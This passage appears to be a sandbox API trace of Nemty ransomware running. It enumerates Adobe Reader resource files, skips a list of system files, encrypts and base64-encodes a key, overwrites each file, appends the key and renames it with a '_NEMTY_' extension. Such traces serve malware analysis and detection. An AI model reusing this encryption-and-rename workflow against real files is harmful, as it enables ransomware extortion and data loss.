ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cde, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.bg_BG.txt", cAlternateFileName="DIC784~1.TXT")) returned 1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2=".") returned 1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="..") returned 1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="...") returned 1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="windows") returned -1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="rsa") returned -1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="NTDETECT.COM") returned -1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="ntldr") returned -1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="MSDOS.SYS") returned -1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="IO.SYS") returned -1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="boot.ini") returned 1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="boot.ini") returned 1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="ntuser.dat") returned -1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="desktop.ini") returned 1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="CONFIG.SYS") returned 1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="RECYCLER") returned -1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="bootmgr") returned 1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="programdata") returned -1 [0214.911] lstrcmpiW (lpString1="DisplayLanguageNames.bg_BG.txt", lpString2="appdata") returned 1 [0214.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg_BG.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg_BG.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.bg_BG.txt", lpUsedDefaultChar=0x0) returned 30 [0214.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg_BG.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg_BG.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.bg_BG.txt", lpUsedDefaultChar=0x0) returned 30 [0214.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg_BG.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg_BG.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.bg_BG.txt", lpUsedDefaultChar=0x0) returned 30 [0214.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg_BG.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg_BG.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.bg_BG.txt", lpUsedDefaultChar=0x0) returned 30 [0214.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.912] Sleep (dwMilliseconds=0x5) [0214.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33bd42b0, dwHighDateTime=0x1d561e8)) [0214.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33bd42b0, dwHighDateTime=0x1d561e8)) [0214.919] GetLastError () returned 0x0 [0214.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.919] GetLastError () returned 0x0 [0214.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.919] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.919] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.919] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.920] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="lFHYMUlGshs1OHhy/lNJmPM5RlszgmNPAkgpomMuhRueQplVoTmnRgfiyWteWMUM\r\nlhPlloHt7WjqyLc/jPIC2g0Yr/AAYSpYfLd4KWAYYslKwIBOKntMByQHYXAtxpvo\r\nspdhoagxMG05O7A28Oc0GVmwV9nsp3hmGiFzQo7ALrt+K3tIoRE9CBGIphom2P/T\r\nBr9shFVAw8cOT3s9r5xiyKvoUKTcG8DvEZqrbrhi1BeQ8hHX03GYgkrm3TKAISA0\r\nicqlnRNM1FR+xz3lqiE0L91i2gWLG1Cm4ofbMkrBMc/4rSWVSlAFzT+9C4AzUnwn\r\nvWp+1YDp4uuEF9GY/fx8Mw==\r\n", pcchString=0x653e5dc) returned 1 [0214.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.920] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27870) returned 1 [0214.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6cd0) returned 0x6352c48 [0214.920] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.920] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6cd0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6cd0, lpOverlapped=0x0) returned 1 [0214.924] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.924] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6cd0, lpOverlapped=0x0) returned 1 [0214.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.924] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6cde [0214.924] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.925] CloseHandle (hObject=0x2e8) returned 1 [0214.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.925] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt._nemty_kgobjgd_")) returned 1 [0214.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.926] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ca.txt", cAlternateFileName="DIFBE9~1.TXT")) returned 1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2=".") returned 1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="..") returned 1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="...") returned 1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="windows") returned -1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="rsa") returned -1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="NTDETECT.COM") returned -1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="ntldr") returned -1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="MSDOS.SYS") returned -1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="IO.SYS") returned -1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="boot.ini") returned 1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="boot.ini") returned 1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="ntuser.dat") returned -1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="desktop.ini") returned 1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="CONFIG.SYS") returned 1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="RECYCLER") returned -1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.926] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="bootmgr") returned 1 [0214.927] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="programdata") returned -1 [0214.927] lstrcmpiW (lpString1="DisplayLanguageNames.ca.txt", lpString2="appdata") returned 1 [0214.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca.txt", lpUsedDefaultChar=0x0) returned 27 [0214.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca.txt", lpUsedDefaultChar=0x0) returned 27 [0214.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca.txt", lpUsedDefaultChar=0x0) returned 27 [0214.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca.txt", lpUsedDefaultChar=0x0) returned 27 [0214.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.927] Sleep (dwMilliseconds=0x5) [0214.943] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33bfa410, dwHighDateTime=0x1d561e8)) [0214.943] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33bfa410, dwHighDateTime=0x1d561e8)) [0214.943] GetLastError () returned 0x0 [0214.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.944] GetLastError () returned 0x0 [0214.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.945] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.945] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.945] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.945] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="bvqwcQrhK4kboI7P6QQdwiNFaAyWNczVxWt1M9/z1DRFJrT+l+1R7jR7xEAyMT3q\r\nuihynrhekzqDzddHirlqLY7IPeqNT2qgm5wuMvei5aTKX39FOu6Q74PgK2Ndj2IX\r\nAVRhPKYTxCOsHvfN/somPx6CkNyLBNYVA2BdIH0hppAGk8BinsRYDbzXWSaGQW4m\r\ncD4j5co7d55CMAKjAkFh4v9jnoLWb4tTRnVT28s4VnZesW3gZVhzoIrblFj/dxCr\r\nLl2tuIYAg19bn8v2iuTyhFbqkh5NTpLJRmsV8ZR1YaBhUelRdlfohEhJcGaz2Sre\r\nTSy6INlJsRrz9WXoHiMJhg==\r\n", pcchString=0x653e5dc) returned 1 [0214.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.945] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27868) returned 1 [0214.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6cd0) returned 0x6352c48 [0214.946] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.946] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6cd0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6cd0, lpOverlapped=0x0) returned 1 [0214.949] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.949] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, 